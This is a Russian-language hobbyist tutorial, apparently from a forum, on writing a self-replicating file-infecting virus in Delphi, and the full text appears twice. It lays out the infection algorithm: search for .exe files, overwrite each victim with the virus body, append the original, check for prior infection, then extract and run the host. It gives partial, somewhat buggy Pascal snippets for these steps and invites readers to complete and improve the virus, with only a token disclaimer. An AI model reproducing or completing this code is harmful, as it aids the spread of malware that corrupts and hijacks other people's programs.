:punk: Пишем вирус на Дельфи. :punk:
Итак, сегодня мы, программисты Дельфи, напишем вирус. Я не буду писать весь исходник, вы его сами додумаете и усовершенствуете.
Вы наверное много раз слышали, что на Дельфи нормальный вирус написать нельзя. С этим трудно не согласиться! Да! Действительно нормальный вирус на Дельфи не напишешь, но можно написать среднячок, который будет и размножаться и заражать другие файлы.
Самое главное в вирусописательстве - это оптимизация работы. Это и есть самое сложное. Но если врубить хороший рок-н-ролл :punk: (панк) и подумать башкой, то всё получится. Готовьсь! Начинаем теорию:
Ха! Разбежался, я те ещё теорию булу писать... Сам находи литературу о нетипизированных файлах и учи! Но я ознакомлю вас с этим дерьмом вкратце:
Для начала нужно обьявить переменную файла и константу. Это делается так:
const vs=Размер_откомпилированного вируса;
var
f1,f2:file;
f1 - это у нас будет сам вирус, а f2 - это заражаемый файл.
vs - это константа, как вижишь, а для чего она нам понадобится узнаешь позже.
также в разделе var (Varible-переменная) надо обьявить массивчи буфера:
buf:array[1..vs] of byte; \\массив байтов
Ну а теперь узнаем как заражать файл - это легко! Алгоритм:
1 - находим файл для заражения
2 - читаем его
3 - читаем себя, от первого байта до константы vc(это у нас реальный размер файла-вируса, помнишь?)
4 - удаляем прочтённый файл-жертву
5 - копируем себя на его место под тем-же именем
6 - перемещаемся в конец файла(копии вируса) и записываем туда прочтённый файл жертву
Это ещё не всё, но пока остановимся.
Чтобы прочесть файл используем процедуру
BlockRead(var f1; var buf; count:integer[; var Result:integer]);
Разберём её принцип:
f1 - нетипизированная файловая переменная
buf - переменная, используемая в проге в качестве рабочего буфера
Count - выражение или значение, соответствующее количеству записей, которые следует считать из файла
Result - значение возвращаемое процедурой и соответствующее количеству считанных записей (необязятельный параметр)
Прочитал? - Окей - теперь прочти ещё разок.
Прочитал ещё раз? Всё понял? Если нет - убейся головой об унитаз!!! Или поищи в Интернете литератур о нетипизированных файлах.
Теперь разбираем процедуру записи в файл:
BlockWrite(var f1; var buf; count:integer[; var Result:integer]);
Count - выражение или значение, соответствующее количеству записей, которые следует добавить в файл
Result - значение возвращаемое процедурой и соответствующее количеству добавленых блоков (необязятельный параметр)
*То,что я не описал, описано когда мы разбирали процедуру чтения из файла.
Такссс... Прём дальще.
Ищем файл:
var
sr
SearchRec;
**********
if FindFirst('*.exe', faAnyFile, sr) = 0 then
begin
repeat
sr.Name - это найденный файл. Что с ним делать я думаю ты догадался.
until
FindNext(sr) <> 0;
FindClose(sr);
end;
Читаем жертву:
AssignFile(f1,'FuckMe.exe');\\Это наша жертва
Reset(f1,1);\\Открываем для чтения
Seek(f1,0);\\перемещаемся в начало, хоть это и деоается как ДЕФАУЛТ
BlockRead(f1,buf2,FileSize(f1));\\Читаем полностью файл-жертву
\\FileSize(f1) определяет размер файла
CloseFile(f1);\\Закрываем файл
Читаем себя:
AssignFile(f2,ParamStr(0));\\Это наш вирус или заражённый файл
\\ParamStr(0) - аналог Application.ExeName - тоесть определяем своё имя
FileMode := 0;\\Чтобы прочесть из себя
Reset(f2,1);\\Открываем для чтения
Seek(f2,vs);\\Перемещаемся в vs - нашу константу
BlockRead(f1,buf1,vs);\\Читаем
CloseFile(f2);\\Закрываем файл
Далее удаляем файл-жертву, ставим себя на его место и записываем в свою копию файл-жертву.
Чтение-Запись - всё просто, а поэтому я дальше обьяснять не буду. Поройся в Хелпе Дельфи - поможет.
Далее проще:
1 - ЕСЛИ размер файла неравен константе vs ТОГДА запускаем спец-процедуру
2 - Ищем следующую жертву
3 - Проверяем заражён ли найденный файл
4 - Если не заражён, то заражаем
Спец-процедура, о которой говорилось выше:
1 - Создаём папку карантина
2 - Перемещаем указатель(в себе) на vs
3 - Читаем из себя
4 - Записываем файл в папку карантина
5 - Запускаем его
*3 и 4 действие помещается в цикл.
Теперь примерчик:
repeat
BlockRead(f1,buf,vs,li1);
BlockWrite(f2,buf,li1,li2);
until
(li1 = 0) or (li1 <> li2);
что такое li1 и li2 ты должен знать, если не знаешь - убейся головой об унитаз!!! Или поищи в Интернете литератур о нетипизированных файлах.
Ну... Думаю, что я закончил эту дурацкую статью. Я, конечно, описал далеко не всё, да и примеров мало - знаю, знаю, просто эта статья рассчитана на людей, которые уже закомы со средой Дельфи хотябы 3 месяца. Тоесть не для ооочень тупых или неграммотных.
Данная статья написана в ознакомительных целях и показывает как Нельзя делать! Я не несу никакой ответственности за возможный ущерб, нанесённый этой статьёй. Ydachi Zelt' ne Bydy - Plohaya primeta.
:shit: :shit: :shit:
Автор: opium
Мыло : Hungry@front.ru
Итак, сегодня мы, программисты Дельфи, напишем вирус. Я не буду писать весь исходник, вы его сами додумаете и усовершенствуете.
Вы наверное много раз слышали, что на Дельфи нормальный вирус написать нельзя. С этим трудно не согласиться! Да! Действительно нормальный вирус на Дельфи не напишешь, но можно написать среднячок, который будет и размножаться и заражать другие файлы.
Самое главное в вирусописательстве - это оптимизация работы. Это и есть самое сложное. Но если врубить хороший рок-н-ролл :punk: (панк) и подумать башкой, то всё получится. Готовьсь! Начинаем теорию:
Ха! Разбежался, я те ещё теорию булу писать... Сам находи литературу о нетипизированных файлах и учи! Но я ознакомлю вас с этим дерьмом вкратце:
Для начала нужно обьявить переменную файла и константу. Это делается так:
const vs=Размер_откомпилированного вируса;
var
f1,f2:file;
f1 - это у нас будет сам вирус, а f2 - это заражаемый файл.
vs - это константа, как вижишь, а для чего она нам понадобится узнаешь позже.
также в разделе var (Varible-переменная) надо обьявить массивчи буфера:
buf:array[1..vs] of byte; \\массив байтов
Ну а теперь узнаем как заражать файл - это легко! Алгоритм:
1 - находим файл для заражения
2 - читаем его
3 - читаем себя, от первого байта до константы vc(это у нас реальный размер файла-вируса, помнишь?)
4 - удаляем прочтённый файл-жертву
5 - копируем себя на его место под тем-же именем
6 - перемещаемся в конец файла(копии вируса) и записываем туда прочтённый файл жертву
Это ещё не всё, но пока остановимся.
Чтобы прочесть файл используем процедуру
BlockRead(var f1; var buf; count:integer[; var Result:integer]);
Разберём её принцип:
f1 - нетипизированная файловая переменная
buf - переменная, используемая в проге в качестве рабочего буфера
Count - выражение или значение, соответствующее количеству записей, которые следует считать из файла
Result - значение возвращаемое процедурой и соответствующее количеству считанных записей (необязятельный параметр)
Прочитал? - Окей - теперь прочти ещё разок.
Прочитал ещё раз? Всё понял? Если нет - убейся головой об унитаз!!! Или поищи в Интернете литератур о нетипизированных файлах.
Теперь разбираем процедуру записи в файл:
BlockWrite(var f1; var buf; count:integer[; var Result:integer]);
Count - выражение или значение, соответствующее количеству записей, которые следует добавить в файл
Result - значение возвращаемое процедурой и соответствующее количеству добавленых блоков (необязятельный параметр)
*То,что я не описал, описано когда мы разбирали процедуру чтения из файла.
Такссс... Прём дальще.
Ищем файл:
var
sr
**********
if FindFirst('*.exe', faAnyFile, sr) = 0 then
begin
repeat
sr.Name - это найденный файл. Что с ним делать я думаю ты догадался.
until
FindNext(sr) <> 0;
FindClose(sr);
end;
Читаем жертву:
AssignFile(f1,'FuckMe.exe');\\Это наша жертва
Reset(f1,1);\\Открываем для чтения
Seek(f1,0);\\перемещаемся в начало, хоть это и деоается как ДЕФАУЛТ
BlockRead(f1,buf2,FileSize(f1));\\Читаем полностью файл-жертву
\\FileSize(f1) определяет размер файла
CloseFile(f1);\\Закрываем файл
Читаем себя:
AssignFile(f2,ParamStr(0));\\Это наш вирус или заражённый файл
\\ParamStr(0) - аналог Application.ExeName - тоесть определяем своё имя
FileMode := 0;\\Чтобы прочесть из себя
Reset(f2,1);\\Открываем для чтения
Seek(f2,vs);\\Перемещаемся в vs - нашу константу
BlockRead(f1,buf1,vs);\\Читаем
CloseFile(f2);\\Закрываем файл
Далее удаляем файл-жертву, ставим себя на его место и записываем в свою копию файл-жертву.
Чтение-Запись - всё просто, а поэтому я дальше обьяснять не буду. Поройся в Хелпе Дельфи - поможет.
Далее проще:
1 - ЕСЛИ размер файла неравен константе vs ТОГДА запускаем спец-процедуру
2 - Ищем следующую жертву
3 - Проверяем заражён ли найденный файл
4 - Если не заражён, то заражаем
Спец-процедура, о которой говорилось выше:
1 - Создаём папку карантина
2 - Перемещаем указатель(в себе) на vs
3 - Читаем из себя
4 - Записываем файл в папку карантина
5 - Запускаем его
*3 и 4 действие помещается в цикл.
Теперь примерчик:
repeat
BlockRead(f1,buf,vs,li1);
BlockWrite(f2,buf,li1,li2);
until
(li1 = 0) or (li1 <> li2);
что такое li1 и li2 ты должен знать, если не знаешь - убейся головой об унитаз!!! Или поищи в Интернете литератур о нетипизированных файлах.
Ну... Думаю, что я закончил эту дурацкую статью. Я, конечно, описал далеко не всё, да и примеров мало - знаю, знаю, просто эта статья рассчитана на людей, которые уже закомы со средой Дельфи хотябы 3 месяца. Тоесть не для ооочень тупых или неграммотных.
Данная статья написана в ознакомительных целях и показывает как Нельзя делать! Я не несу никакой ответственности за возможный ущерб, нанесённый этой статьёй. Ydachi Zelt' ne Bydy - Plohaya primeta.
:shit: :shit: :shit:
Автор: opium
Мыло : Hungry@front.ru